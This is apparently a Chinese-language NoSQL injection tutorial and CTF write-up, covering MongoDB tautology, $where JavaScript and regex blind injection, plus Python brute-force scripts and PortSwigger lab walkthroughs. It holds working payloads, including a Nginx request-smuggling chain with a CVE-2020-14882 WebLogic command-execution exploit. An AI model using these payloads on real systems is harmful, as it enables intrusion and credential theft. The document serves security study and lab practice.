一、SQL注入数据库分类
关系型数据库 mysql oracle sqlserver
非关系型数据库 key-value redis MongoDB(not only sql)
二、MongoDB环境搭建
自己官网下载
Download MongoDB Community Server | MongoDB
其中Mongod.exe是它的一个启动
加上数据库,就开始启动了,监听的端口27017端口
成功:
用mongosh连接一下
也可以自带的
获取数据库
建表插入两条数据
三、示例
3.1重言式注入
代码
火狐访问一下,因为我们还没有传值
传一个试试
那么这样查询有什么问题呢?因为源代码没任何过滤
当我输入变为这个
username[$ne]=1&password[$ne]=1
回显结果,很明显所有数据都出来了,查询password和username中不等于1的值
3.2联合查询注入(失效了,因为在mangodb低版本中,才可以实现)
mangodb也可以实现拼接
string query ="{ username: '" + $username + "', password: '" + $password + "' }"
那么攻击者使用以下语句便可查询所有文档
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
3.3JavaScript注入
如下示例:
> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
>
由于使用了 `$where` 关键字,其后面的 JavaScript 将会被执行并返回 "whoami",然后将查询出 username 为 whoami 的数据。某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 `$userData` 获取查询条件:
测试一下:
代码
还是可以出来的
MongoDB 2.4 之后 db
属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据:
username=1&password=1';return true//
或
username=1&password=1';return true;var a='1
全出来了
相当于在后台是
结果就是根本没走到if判断里面
3.4布尔盲注
可以利用正则表达式正常登录
布尔盲注重点在于怎么逐个提取字符,如下所示,在已知一个用户名的情况下判断密码的长度:
username=admin&password[$regex]=.{4}
脚本:
import requests
import stringpassword = ''
url = 'http://127.0.0.1/sqllabs/less-46/test.php'while True:for c in string.printable:if c not in ['*','+',',','?']:get_payload = '?username=admin&password[$regex]= ^%s' %(password + c)post_payload = {"username":"admin","password[$regex]" : '^' + password + c}# //json payloadjson_payload = """{"username":"admin","password":{"$regex":"^%s"}}""" % (password + c)r=requests.post(url=url,data=post_payload)if 'Login Success' in r.text:print("[+] %s" % (password + c))password += c
四、实操环境加练习
实验官网BurpSuite实操nosql环境:All labs | Web Security Academy
开始先随便输入
在这里我们进行抓包来看,很明显支持js数据传输,那我们尝试一下永真登录来看看情况 看来是有正则拦截了
转编码看一下
呕吼登录了但没完全登录
再试试错误的
那就很明显是两种回显方式,那就可以去使用我们的布尔盲注
py代码:
import requests
import stringpassword = ''
url = 'http://node5.buuoj.cn:27849/login.php'while True:for c in string.printable:if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:# When the method is GETget_payload = '?username=admin&password[$regex]=^%s' % (password + c)# When the method is POSTpost_payload = {"username": "admin","password[$regex]": '^' + password + c}# When the method is POST with JSONjson_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)headers = {'Content-Type': 'application/json'}r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json#r = requests.post(url=url, data=post_payload)if '但没完全登录' in r.content.decode():print("[+] %s" % (password + c))password += c
结果:
尝试读取flag但是这里提示在内网
测试内网是由什么搭建的
apache.conf
/usr/local/apache/conf/apache.conf
nginx.conf
/usr/local/nginx/conf/nginx.conf
很明显是Nginx搭建
当然抓包也是很清晰的
string(32) "/usr/local/nginx/conf/nginx.conf"
worker_processes 1;events {worker_connections 1024;
}http {include mime.types;default_type application/octet-stream;sendfile on;#tcp_nopush on;#keepalive_timeout 0;keepalive_timeout 65;server {listen 80;error_page 404 404.php;root /usr/local/nginx/html;index index.htm index.html index.php;location ~ \.php$ {root /usr/local/nginx/html;fastcgi_pass 127.0.0.1:9000;fastcgi_index index.php;fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;include fastcgi_params;}}resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;# weblogicserver {listen 80;server_name weblogic;location / {proxy_set_header Host $host;set $backend weblogic;proxy_pass http://$backend:7001;}}
}
从代码中很明显可以看到一个事情,内网由host为weblogic服务,但是没有提供可SSRF的位置
Nginx使用的版本为1.17.6,而Nginx<1.17.7存在请求走私漏洞,因此进行尝试
使用如下载荷走私到 WebLogic Console的登录页面
GET /undefined HTTP/1.1
Host: node4.buuoj.cn:28946
Content-Length: 0
Transfer-Encoding: chunkedGET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic
py代码:
#-*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/27 1:24
@version: 1.0
"""
import socketsSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node5.buuoj.cn", 27849))payload = b'GET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: node5.buuoj.cn\r\n\r\n'
sSocket.send(payload)
sSocket.settimeout(5)response = sSocket.recv(4096).decode("utf-8")
version_index = response.find("WebLogic")
if version_index != -1:version_info = response[version_index:version_index+50]print("WebLogic version:", version_info)
else:print("WebLogic version not found in response.")sSocket.close()
得到weblogic版本为12.2.1.4.0,这个版本正好在 CVE-2020-14882 的范围内,使用CVE-2020-14882,%252e%252e绕过登录直接打
import socketsSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 25369))
payload = b'HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'
#payload = b'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:print(response.decode())try:response = sSocket.recv(2147483647)except:break
sSocket.close()
成功flag{1c567898-360f-4557-8688-1f06498c853c}
四、BurpSuite自带nosql实验
入门级:
4.1环境地址
Login - PortSwigger
4.2环境页面
抓包看一下跳转
很明显这里登录条件还是以js的一个文件来登录
看一下解决实验要求
我们先尝试一下永真登录很明显进行了一个302的跳转,说明一件事情我们登录成功了,一般登录成功后才会进行跳转
那么永真查询出现了,我们可不可以试试.*看看正则表达式查询可以吗
那如果两个都为空了
为什么会出现500的问题呢????因为我们查出来的数据太多了,所以这里会出现500的问题,总之可以实现万能查询以及正则查询
那我们试一下admin出现302跳转说明admin确实可以成功登录
可以见得我们已经登录成功了
中等级:
利用nosql注入提取数据
还是一样的去抓包看请求
登录不是js的登录了而是一个正常的登录
winner有可能发到js里面去进行一个查询
加个'让它闭合很明显有报错,很明显放入js去进行执行了
用js的&&符去进行尝试
很明显ok了
那我们找一下这个页面有没有password这个元素
很明显是有password这个元素的
那我们先判断长度(一个一个去试),很明显我试出来是8位
之后我们便可以一位一位去测试了,先发送到报错模块里面
去爆破字段从第0位开始
开始调设置
最后爆破结果,因为我这里用的是社区版多少有点问题????
高等级:
还是js格式
试试永真登录吧
很明显可以但是用户被锁定了需要我们重置密码
去试试吧
告诉我们需要点击邮件
小技巧where代入js
js中有一个小技巧Object.keys可以带出来我们的所有的名称,看有没有toock
利用正则去匹配一下吧
同样的方法区测试
很明显匹配第一个字母是username
试试第二个吧,匹配出来是password
试试第三个,email
试试第四个,forgotPwd
很明显第四个有用,我们去刚才页面找
看一下token是不是在里面放着
回显是有无效的token很明显是放着
继续爆破一下token值22608f771e80af91
这样就可以重新获取密码了